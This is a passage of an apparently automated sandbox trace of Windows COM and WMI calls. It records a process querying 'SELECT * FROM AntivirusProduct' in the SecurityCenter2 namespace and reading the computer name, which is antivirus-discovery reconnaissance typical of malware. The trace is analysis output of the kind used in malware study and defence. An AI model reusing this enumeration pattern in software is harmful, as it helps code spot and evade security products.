	[0082.681] IClientSecurity:SetBlanket (This=0x71a80c, pProxy=0x69bc92c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0082.681] IUnknown:Release (This=0x71a80c) returned 0x4
	[0082.681] IUnknown:Release (This=0x71a82c) returned 0x3
	[0082.681] CoTaskMemFree (pv=0x54202c8) 
	[0082.681] IUnknown:Release (This=0x69bc92c) returned 0x2
	[0082.681] SysStringLen (param_1=0x0) returned 0x0
	[0082.681] CoGetContextToken (in: pToken=0x3fe6d8 | out: pToken=0x3fe6d8) returned 0x0
	[0082.681] IUnknown:AddRef (This=0x69bc92c) returned 0x3
	[0082.681] IWbemServices:ExecQuery (in: This=0x69bc92c, strQueryLanguage="WQL", strQuery="SELECT * FROM AntivirusProduct", lFlags=16, pCtx=0x0, ppEnum=0x3fe8e8 | out: ppEnum=0x3fe8e8*=0x69bd2e4) returned 0x0
	[0084.986] IUnknown:QueryInterface (in: This=0x69bd2e4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe74c | out: ppvObject=0x3fe74c*=0x69bd2e8) returned 0x0
	[0084.986] IClientSecurity:QueryBlanket (in: This=0x69bd2e8, pProxy=0x69bd2e4, pAuthnSvc=0x3fe79c, pAuthzSvc=0x3fe798, pServerPrincName=0x3fe790, pAuthnLevel=0x3fe794, pImpLevel=0x3fe784, pAuthInfo=0x3fe788, pCapabilites=0x3fe78c | out: pAuthnSvc=0x3fe79c*=0xa, pAuthzSvc=0x3fe798*=0x0, pServerPrincName=0x3fe790, pAuthnLevel=0x3fe794*=0x6, pImpLevel=0x3fe784*=0x2, pAuthInfo=0x3fe788, pCapabilites=0x3fe78c*=0x1) returned 0x0
	[0084.986] IUnknown:Release (This=0x69bd2e8) returned 0x1
	[0084.986] IUnknown:QueryInterface (in: This=0x69bd2e4, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe740 | out: ppvObject=0x3fe740*=0x72c78c) returned 0x0
	[0084.986] IUnknown:QueryInterface (in: This=0x69bd2e4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe73c | out: ppvObject=0x3fe73c*=0x69bd2e8) returned 0x0
	[0084.987] IClientSecurity:SetBlanket (This=0x69bd2e8, pProxy=0x69bd2e4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0084.989] IUnknown:Release (This=0x69bd2e8) returned 0x2
	[0084.989] IUnknown:Release (This=0x72c78c) returned 0x1
	[0084.989] CoTaskMemFree (pv=0x54202f8) 
	[0084.989] IUnknown:QueryInterface (in: This=0x69bd2e4, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe338 | out: ppvObject=0x3fe338*=0x72c78c) returned 0x0
	[0084.989] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3fe2f4 | out: ppvObject=0x3fe2f4*=0x0) returned 0x80004002
	[0084.989] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3fe114 | out: ppvObject=0x3fe114*=0x0) returned 0x80004002
	[0084.990] IUnknown:AddRef (This=0x72c78c) returned 0x3
	[0084.990] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3fdc54 | out: ppvObject=0x3fdc54*=0x0) returned 0x80004002
	[0084.990] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3fdc04 | out: ppvObject=0x3fdc04*=0x0) returned 0x80004002
	[0084.990] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fdc10 | out: ppvObject=0x3fdc10*=0x72c6ec) returned 0x0
	[0084.990] IMarshal:GetUnmarshalClass (in: This=0x72c6ec, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3fdc18 | out: pCid=0x3fdc18*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0084.990] IUnknown:Release (This=0x72c6ec) returned 0x3
	[0084.990] CoGetContextToken (in: pToken=0x3fdc70 | out: pToken=0x3fdc70) returned 0x0
	[0084.990] CoGetContextToken (in: pToken=0x3fe078 | out: pToken=0x3fe078) returned 0x0
	[0084.990] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe108 | out: ppvObject=0x3fe108*=0x72c774) returned 0x0
	[0084.990] IRpcOptions:Query (in: This=0x72c774, pPrx=0x72c78c, dwProperty=2, pdwValue=0x3fe130 | out: pdwValue=0x3fe130) returned 0x80004002
	[0084.990] IUnknown:Release (This=0x72c774) returned 0x3
	[0084.991] IUnknown:Release (This=0x72c78c) returned 0x2
	[0084.991] CoGetContextToken (in: pToken=0x3fe648 | out: pToken=0x3fe648) returned 0x0
	[0084.991] CoGetContextToken (in: pToken=0x3fe5a8 | out: pToken=0x3fe5a8) returned 0x0
	[0084.991] IUnknown:QueryInterface (in: This=0x72c78c, riid=0x3fe678*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3fe674 | out: ppvObject=0x3fe674*=0x69bd2e4) returned 0x0
	[0084.991] IUnknown:AddRef (This=0x69bd2e4) returned 0x4
	[0084.991] IUnknown:Release (This=0x69bd2e4) returned 0x3
	[0084.991] IUnknown:Release (This=0x69bd2e4) returned 0x2
	[0084.991] IUnknown:Release (This=0x69bc92c) returned 0x2
	[0084.991] SysStringLen (param_1=0x0) returned 0x0
	[0084.991] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69b0820, puCount=0x3fe934 | out: puCount=0x3fe934*=0x2) returned 0x0
	[0084.991] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=4, puBuffLength=0x3fe930*=0x0, pszText=0x0 | out: puBuffLength=0x3fe930*=0x1f, pszText=0x0) returned 0x0
	[0084.991] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=4, puBuffLength=0x3fe930*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x3fe930*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0084.991] CoGetContextToken (in: pToken=0x3fe780 | out: pToken=0x3fe780) returned 0x0
	[0084.991] IUnknown:AddRef (This=0x69bd2e4) returned 0x3
	[0084.991] IEnumWbemClassObject:Clone (in: This=0x69bd2e4, ppEnum=0x3fe940 | out: ppEnum=0x3fe940*=0x69bd3ac) returned 0x0
	[0084.992] IUnknown:QueryInterface (in: This=0x69bd3ac, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe804 | out: ppvObject=0x3fe804*=0x69bd3b0) returned 0x0
	[0084.992] IClientSecurity:QueryBlanket (in: This=0x69bd3b0, pProxy=0x69bd3ac, pAuthnSvc=0x3fe854, pAuthzSvc=0x3fe850, pServerPrincName=0x3fe848, pAuthnLevel=0x3fe84c, pImpLevel=0x3fe83c, pAuthInfo=0x3fe840, pCapabilites=0x3fe844 | out: pAuthnSvc=0x3fe854*=0xa, pAuthzSvc=0x3fe850*=0x0, pServerPrincName=0x3fe848, pAuthnLevel=0x3fe84c*=0x6, pImpLevel=0x3fe83c*=0x2, pAuthInfo=0x3fe840, pCapabilites=0x3fe844*=0x1) returned 0x0
	[0084.992] IUnknown:Release (This=0x69bd3b0) returned 0x1
	[0084.992] IUnknown:QueryInterface (in: This=0x69bd3ac, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7f8 | out: ppvObject=0x3fe7f8*=0x72c96c) returned 0x0
	[0084.992] IUnknown:QueryInterface (in: This=0x69bd3ac, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7f4 | out: ppvObject=0x3fe7f4*=0x69bd3b0) returned 0x0
	[0084.992] IClientSecurity:SetBlanket (This=0x69bd3b0, pProxy=0x69bd3ac, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0084.993] IUnknown:Release (This=0x69bd3b0) returned 0x2
	[0084.993] IUnknown:Release (This=0x72c96c) returned 0x1
	[0084.993] CoTaskMemFree (pv=0x5420298) 
	[0084.993] IUnknown:QueryInterface (in: This=0x69bd3ac, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe3e0 | out: ppvObject=0x3fe3e0*=0x72c96c) returned 0x0
	[0084.993] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3fe39c | out: ppvObject=0x3fe39c*=0x0) returned 0x80004002
	[0084.994] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3fe1bc | out: ppvObject=0x3fe1bc*=0x0) returned 0x80004002
	[0084.994] IUnknown:AddRef (This=0x72c96c) returned 0x3
	[0084.994] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3fdcfc | out: ppvObject=0x3fdcfc*=0x0) returned 0x80004002
	[0084.994] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3fdcac | out: ppvObject=0x3fdcac*=0x0) returned 0x80004002
	[0084.995] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fdcb8 | out: ppvObject=0x3fdcb8*=0x72c8cc) returned 0x0
	[0084.995] IMarshal:GetUnmarshalClass (in: This=0x72c8cc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3fdcc0 | out: pCid=0x3fdcc0*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0084.995] IUnknown:Release (This=0x72c8cc) returned 0x3
	[0084.995] CoGetContextToken (in: pToken=0x3fdd18 | out: pToken=0x3fdd18) returned 0x0
	[0084.995] CoGetContextToken (in: pToken=0x3fe120 | out: pToken=0x3fe120) returned 0x0
	[0084.995] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe1b0 | out: ppvObject=0x3fe1b0*=0x72c954) returned 0x0
	[0084.995] IRpcOptions:Query (in: This=0x72c954, pPrx=0x72c96c, dwProperty=2, pdwValue=0x3fe1d8 | out: pdwValue=0x3fe1d8) returned 0x80004002
	[0084.995] IUnknown:Release (This=0x72c954) returned 0x3
	[0084.995] IUnknown:Release (This=0x72c96c) returned 0x2
	[0084.995] CoGetContextToken (in: pToken=0x3fe6f0 | out: pToken=0x3fe6f0) returned 0x0
	[0084.995] CoGetContextToken (in: pToken=0x3fe650 | out: pToken=0x3fe650) returned 0x0
	[0084.995] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x3fe720*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3fe71c | out: ppvObject=0x3fe71c*=0x69bd3ac) returned 0x0
	[0084.995] IUnknown:AddRef (This=0x69bd3ac) returned 0x4
	[0084.995] IUnknown:Release (This=0x69bd3ac) returned 0x3
	[0084.995] IUnknown:Release (This=0x69bd3ac) returned 0x2
	[0084.995] IUnknown:Release (This=0x69bd2e4) returned 0x2
	[0084.995] SysStringLen (param_1=0x0) returned 0x0
	[0084.995] IEnumWbemClassObject:Reset (This=0x69bd3ac) returned 0x0
	[0084.998] CoTaskMemAlloc (cb=0x4) returned 0x719920
	[0084.998] IEnumWbemClassObject:Next (in: This=0x69bd3ac, lTimeout=-1, uCount=0x1, apObjects=0x719920, puReturned=0x248f7a0 | out: apObjects=0x719920*=0x0, puReturned=0x248f7a0*=0x0) returned 0x1
	[0085.005] CoTaskMemFree (pv=0x719920) 
	[0085.005] CoGetContextToken (in: pToken=0x3fe868 | out: pToken=0x3fe868) returned 0x0
	[0085.005] IUnknown:Release (This=0x72c96c) returned 0x1
	[0085.005] IUnknown:Release (This=0x69bd3ac) returned 0x0
	[0085.012] GetComputerNameW (in: lpBuffer=0x3fe758, nSize=0x3fe9d0 | out: lpBuffer="YKYD69Q", nSize=0x3fe9d0) returned 1
	[0085.012] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x524
	[0085.012] SetEvent (hEvent=0x480) returned 1
	[0085.012] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3fe908*=0x524, lpdwindex=0x3fe724 | out: lpdwindex=0x3fe724) returned 0x0
	[0085.013] CoGetContextToken (in: pToken=0x3fe7d8 | out: pToken=0x3fe7d8) returned 0x0
	[0085.013] CoGetContextToken (in: pToken=0x3fe738 | out: pToken=0x3fe738) returned 0x0
	[0085.013] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc940, riid=0x3fe808*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3fe804 | out: ppvObject=0x3fe804*=0x69bc940) returned 0x0
	[0085.013] WbemDefPath:IUnknown:AddRef (This=0x69bc940) returned 0x3
	[0085.013] WbemDefPath:IUnknown:Release (This=0x69bc940) returned 0x2
	[0085.013] WbemDefPath:IWbemPath:SetText (This=0x69bc940, uMode=0x4, pszPath="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0085.013] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bc940, puCount=0x3fe984 | out: puCount=0x3fe984*=0x2) returned 0x0
	[0085.013] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=4, puBuffLength=0x3fe980*=0x0, pszText=0x0 | out: puBuffLength=0x3fe980*=0x1f, pszText=0x0) returned 0x0
	[0085.013] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=4, puBuffLength=0x3fe980*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x3fe980*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0085.014] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bc940, puCount=0x3fe970 | out: puCount=0x3fe970*=0x2) returned 0x0
	[0085.014] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=4, puBuffLength=0x3fe96c*=0x0, pszText=0x0 | out: puBuffLength=0x3fe96c*=0x1f, pszText=0x0) returned 0x0
	[0085.014] WbemDefPath:IWbemPath:GetText (in: This=0x69bc940, lFlags=4, puBuffLength=0x3fe96c*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x3fe96c*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0085.018] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3fe824*=0x538, lpdwindex=0x3fe6d4 | out: lpdwindex=0x3fe6d4) returned 0x0
	[0085.026] CoGetContextToken (in: pToken=0x3fe5e0 | out: pToken=0x3fe5e0) returned 0x0
	[0085.026] CoGetContextToken (in: pToken=0x3fe588 | out: pToken=0x3fe588) returned 0x0
	[0085.026] IUnknown:QueryInterface (in: This=0x69a158, riid=0x73553c98*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe568 | out: ppvObject=0x3fe568*=0x69a168) returned 0x0
	[0085.026] CObjectContext::ContextCallback () returned 0x0
	[0085.027] IUnknown:Release (This=0x69a168) returned 0x1
	[0085.027] CoUnmarshalInterface (in: pStm=0x717ee8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3fe5d0 | out: ppv=0x3fe5d0*=0x72c96c) returned 0x0
	[0085.027] CoMarshalInterface (pStm=0x717ee8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72c96c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0085.027] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe474 | out: ppvObject=0x3fe474*=0x72c96c) returned 0x0
	[0085.027] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3fe430 | out: ppvObject=0x3fe430*=0x0) returned 0x80004002
	[0085.027] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3fe24c | out: ppvObject=0x3fe24c*=0x0) returned 0x80004002
	[0085.028] IUnknown:AddRef (This=0x72c96c) returned 0x3
	[0085.028] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x3fdd8c | out: ppvObject=0x3fdd8c*=0x0) returned 0x80004002
	[0085.028] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x3fdd3c | out: ppvObject=0x3fdd3c*=0x0) returned 0x80004002
	[0085.028] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fdd48 | out: ppvObject=0x3fdd48*=0x72c8cc) returned 0x0
	[0085.028] IMarshal:GetUnmarshalClass (in: This=0x72c8cc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3fdd50 | out: pCid=0x3fdd50*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.028] IUnknown:Release (This=0x72c8cc) returned 0x3
	[0085.028] CoGetContextToken (in: pToken=0x3fdda8 | out: pToken=0x3fdda8) returned 0x0
	[0085.028] CoGetContextToken (in: pToken=0x3fe1b0 | out: pToken=0x3fe1b0) returned 0x0
	[0085.028] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe240 | out: ppvObject=0x3fe240*=0x72c954) returned 0x0
	[0085.028] IRpcOptions:Query (in: This=0x72c954, pPrx=0x72c96c, dwProperty=2, pdwValue=0x3fe268 | out: pdwValue=0x3fe268) returned 0x0
	[0085.029] IUnknown:Release (This=0x72c954) returned 0x3
	[0085.029] IUnknown:Release (This=0x72c96c) returned 0x2
	[0085.029] IUnknown:Release (This=0x72c96c) returned 0x1
	[0085.029] CoGetContextToken (in: pToken=0x3fe520 | out: pToken=0x3fe520) returned 0x0
	[0085.029] IUnknown:AddRef (This=0x72c96c) returned 0x2
	[0085.029] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7dc | out: ppvObject=0x3fe7dc*=0x72c94c) returned 0x0
	[0085.029] IClientSecurity:QueryBlanket (in: This=0x72c94c, pProxy=0x72c96c, pAuthnSvc=0x3fe82c, pAuthzSvc=0x3fe828, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824, pImpLevel=0x3fe814, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c | out: pAuthnSvc=0x3fe82c*=0xa, pAuthzSvc=0x3fe828*=0x0, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824*=0x6, pImpLevel=0x3fe814*=0x2, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c*=0x1) returned 0x0
	[0085.029] IUnknown:Release (This=0x72c94c) returned 0x2
	[0085.029] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7d0 | out: ppvObject=0x3fe7d0*=0x72c96c) returned 0x0
	[0085.029] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7cc | out: ppvObject=0x3fe7cc*=0x72c94c) returned 0x0
	[0085.029] IClientSecurity:SetBlanket (This=0x72c94c, pProxy=0x72c96c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.029] IUnknown:Release (This=0x72c94c) returned 0x3
	[0085.029] IUnknown:Release (This=0x72c96c) returned 0x2
	[0085.029] CoTaskMemFree (pv=0x5420328) 
	[0085.029] IUnknown:Release (This=0x72c96c) returned 0x1
	[0085.029] SysStringLen (param_1=0x0) returned 0x0
	[0085.029] CoGetContextToken (in: pToken=0x3fe798 | out: pToken=0x3fe798) returned 0x0
	[0085.029] CoGetContextToken (in: pToken=0x3fe6f8 | out: pToken=0x3fe6f8) returned 0x0
	[0085.029] IUnknown:QueryInterface (in: This=0x72c96c, riid=0x3fe7c8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x3fe7c4 | out: ppvObject=0x3fe7c4*=0x69bd45c) returned 0x0
	[0085.030] IUnknown:AddRef (This=0x69bd45c) returned 0x3
	[0085.030] IUnknown:Release (This=0x69bd45c) returned 0x2
	[0085.030] CoGetContextToken (in: pToken=0x3fe758 | out: pToken=0x3fe758) returned 0x0
	[0085.030] IUnknown:AddRef (This=0x69bd45c) returned 0x3
	[0085.030] IUnknown:QueryInterface (in: This=0x69bd45c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3fe7dc | out: ppvObject=0x3fe7dc*=0x72c94c) returned 0x0
	[0085.030] IClientSecurity:QueryBlanket (in: This=0x72c94c, pProxy=0x69bd45c, pAuthnSvc=0x3fe82c, pAuthzSvc=0x3fe828, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824, pImpLevel=0x3fe814, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c | out: pAuthnSvc=0x3fe82c*=0xa, pAuthzSvc=0x3fe828*=0x0, pServerPrincName=0x3fe820, pAuthnLevel=0x3fe824*=0x6, pImpLevel=0x3fe814*=0x2, pAuthInfo=0x3fe818, pCapabilites=0x3fe81c*=0x1) returned 0x0
	[0085.030] IUnknown:Release (This=0x72c94c) returned 0x3
